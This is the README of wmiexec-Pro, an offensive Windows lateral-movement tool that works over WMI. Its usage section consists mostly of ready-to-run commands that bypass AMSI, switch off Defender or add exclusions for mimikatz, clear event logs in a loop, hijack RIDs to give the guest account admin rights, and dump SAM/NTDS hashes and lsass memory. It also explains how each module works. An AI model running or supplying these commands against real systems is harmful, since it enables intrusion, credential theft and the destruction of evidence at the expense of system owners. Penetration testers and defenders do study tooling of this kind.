wmiexec-Pro

New generation of wmiexec.py.

Table of Contents

1. Info
2. Special thanks
3. Features
4. Getting Started
   • Installation
5. Usage
6. Screenshots
7. How it works?
8. Disclaimer
9. References

Info

The new generation of wmiexec.py, more new features, whole the operations only work with port 135 (don't need smb connection) for AV evasion in lateral movement (Windows Defender, HuoRong, 360)

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Special thanks

@422926799

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Features

• Main feature: AV Evasion
• Main feature: No win32_process needed
• Main feature: Only need port 135.
• New module: AMSI bypass
• New module: File transfer
• New module: Remote enable RDP via wmi class method
• New module: Windows firewall abusing
• New module: Eventlog looping cleaning
• New module: Remote enable WinRM without touching CMD
• New module: Service manager
• New module: RID-Hijack
• New module: Hashdump (SAM / SECURITY / NTDS.dit via VSS + PS_ModuleFile, fully WMI-native, no subprocess)
• New module: Defender management (toggle core protections, manage exclusions via MSFT_MpPreference)
• New module: Process memory dump (MiniDumpWriteDump trigger + PS_ModuleFile retrieval)
• New module: SMB takeover (stop SMB services to free TCP/445)
• Enhancement: Get command execution output in new way
• Enhancement: Execute vbs file

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Getting Started

Installation

Only need latest version of Impacket

1. Clone the impacket repository

   git clone https://github.com/fortra/impacket
   

2. Install impacket

   cd impacket && sudo pip3 install .
   

3. Enjoy it :)

   git clone https://github.com/XiaoliChan/wmiexec-Pro
   

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Usage

python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h

Basic enumeration:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 enum -run

Enable/disable amsi bypass:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -enable
   python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -disable

Execute command:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -shell (Launch a semi-interactive shell)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" (Default is with output mode)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent (Silent mode)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -save (With output and save output to file)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old -save
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -clear (Remove temporary class for command result storage)
   
Filetransfer:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -clear (Remove temporary class for file transfer)
   
RDP:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable (Auto configure firewall)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable -old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable-ram (Disable Restricted Admin Mode)

WinRM (Only support win7+):
   python3 wmiexec-pro.py administrator:password@192.168.1.1 winrm -enable
   python3 wmiexec-pro.py administrator:password@192.168.1.1 winrm -disable

Firewall (Only support win8+):
   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -search-port 445
   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -dump (Dump all firewall rules)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile enable (Enable all firewall profiles)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile disable (Disable all firewall profiles)
   
Services:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action start -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action stop -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action disable -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action auto-start -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action manual-start -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action getinfo -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action delete -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -dump all-services.json

Eventlog:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -risk-i-know (Looping cleaning eventlog)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -retrive object-ID (Stop looping cleaning eventlog)

RID Hijack:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action activate (Activate user)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action deactivate (Deactivate user)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -blank-pass-login enable (Enable blank password login)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -blank-pass-login disable
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 500 -action backup (This will save user profile data as json file)
   python3 wmiexec-pro.py guest@192.168.1.1 -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked)
   python3 wmiexec-pro.py guest@192.168.1.1 -no-pass rid-hijack -restore "backup.json" (Restore user profile for target user)

Hashdump (SAM / SECURITY / NTDS.dit via VSS + PS_ModuleFile):
   python3 wmiexec-pro.py administrator:password@192.168.1.1 hashdump -dump sss (SAM + SECURITY + SYSTEM, default native method)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 hashdump -dump ntds (NTDS.dit + SYSTEM, run on Domain Controller)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 hashdump -dump sss -method legacy (VBS + ADODB fallback for older OS)

Defender (MSFT_MpPreference):
   python3 wmiexec-pro.py administrator:password@192.168.1.1 defender -action check (Show protection status and exclusions)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 defender -action disable (Disable all core protection features)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 defender -action enable (Restore Microsoft default protection)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 defender -action exclude -path "C:\temp" -process "mimikatz.exe" -extension "exe"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 defender -action remove  -path "C:\temp" -process "mimikatz.exe" -extension "exe"

Process Dump:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 processdump -action list (Enumerate remote processes)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 processdump -action list -name lsass.exe (Filter by name)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 processdump -action dump -proc lsass.exe -dl -cleanup (Dump and download via PS_ModuleFile, then delete remote dump file)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 processdump -action dump -pid 1234 -dl

SMB Takeover (free TCP/445 on target for SMB relay / SMB-based tools):
   python3 wmiexec-pro.py administrator:password@192.168.1.1 smb-takeover -action check
   python3 wmiexec-pro.py administrator:password@192.168.1.1 smb-takeover -action stop  (Stop LanmanServer and dependents)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 smb-takeover -action start (Restore SMB services)

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Screenshots

• Help

  • 

• exec-command

  • 

• filetransfer

  • upload file

    

  • download file

    

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How it works?

• AMSI module:

  • Tal-Liberman's technique from blackhat asia 2018.

• exec-command module:

  • Enhancement of previous project: wmiexec-RegOut, get output from wmi class instead of from registry.

• filetransfer module:

  • For upload: encode the source file as base64 strings into the dropper named WriteFile.vbs, then create a new instance of object ActiveScriptEventConsumer to execute the dropper.
  • For download: remote create a class to store data, then execute the encoder LocalFileIntoClass.vbs to encode the file and store data into the class that just created.

• rdp module:

  • For enable/disable: rdp serivces: control TerminalServices object directly.
  • For enable/disable: Restricted Admin Mode: control registry key DisableRestrictedAdmin via StdRegProv class.

• winrm module:

  • For enable/disable: invoke service module.
  • For firewall rules: use module firewall.py to configure firewall of winrm.

• firewall module:

  • Abusing MSFT_NetProtocolPortFilter, MSFT_NetFirewallRule, MSFT_NetFirewallProfile classes.

• service module:

  • Abusing Win32_Service classes.

• eventlog module:

  • Execute the vbs script file ClearEventlog.vbs without remove event and consumer.

• execute-vbs module:

  • Picked from wmipersist.py.

• classMethodEx method:

  • For create class: execute the vbs scritp : CreateClass.vbs to create simple class. (Why? Have no idea how to use PutClass method in impacket.)
  • For remove class: call DeleteClass method to remove class.

• hashdump module:

  • native method (default, Win8 / Server 2012+): create a Volume Shadow Copy via Win32_ShadowCopy.Create, read SAM / SECURITY / SYSTEM (or NTDS.dit + SYSTEM) directly from the shadow copy device path through PS_ModuleFile.FileData. No subprocess, no temp WMI class, no event subscription.
  • legacy method: VBS + ADODB.Stream copies files from the shadow copy and base64-stashes them into a temporary WMI class.
  • Hashes are parsed locally with impacket's secretsdump (SAMHashes / LSASecrets / NTDSHashes).

• defender module:

  • Abuses MSFT_MpPreference under namespace root/Microsoft/Windows/Defender. Calls Set / Add / Remove with kwargs-only InParams; unspecified parameters are null-marked via NdTable so existing settings stay intact (equivalent to wmic ... call Set <field>=<value> semantics).

• processdump module:

  • Triggers MiniDumpWriteDump on the target process via WMI, writing the dump to disk on the target. Optional retrieval pulls the dump file back through PS_ModuleFile.FileData and can clean up the remote artifact afterwards.

• smb-takeover module:

  • Stops LanmanServer and its dependent services to free TCP/445 on the target. Useful when a SMB relay / SMB-based tool needs the port available after WMI lateral movement.

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Disclaimer

The spirit of this Open Source initiative is to help security researchers, and the community, speed up research and educational activities related to the implementation of networking protocols and stacks.

The information in this repository is for research and educational purposes and not meant to be used in production environments and/or as part of commercial products.

If you desire to use this code or some part of it for your own uses, we recommend applying proper security development life cycle and secure coding practices, as well as generate and track the respective indicators of compromise according to your needs.

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References

• GhostPack/SharpWMI
• impacket
• WMIHACKER
• Microsoft WMI Docs
• Microsoft VBScripts Docs

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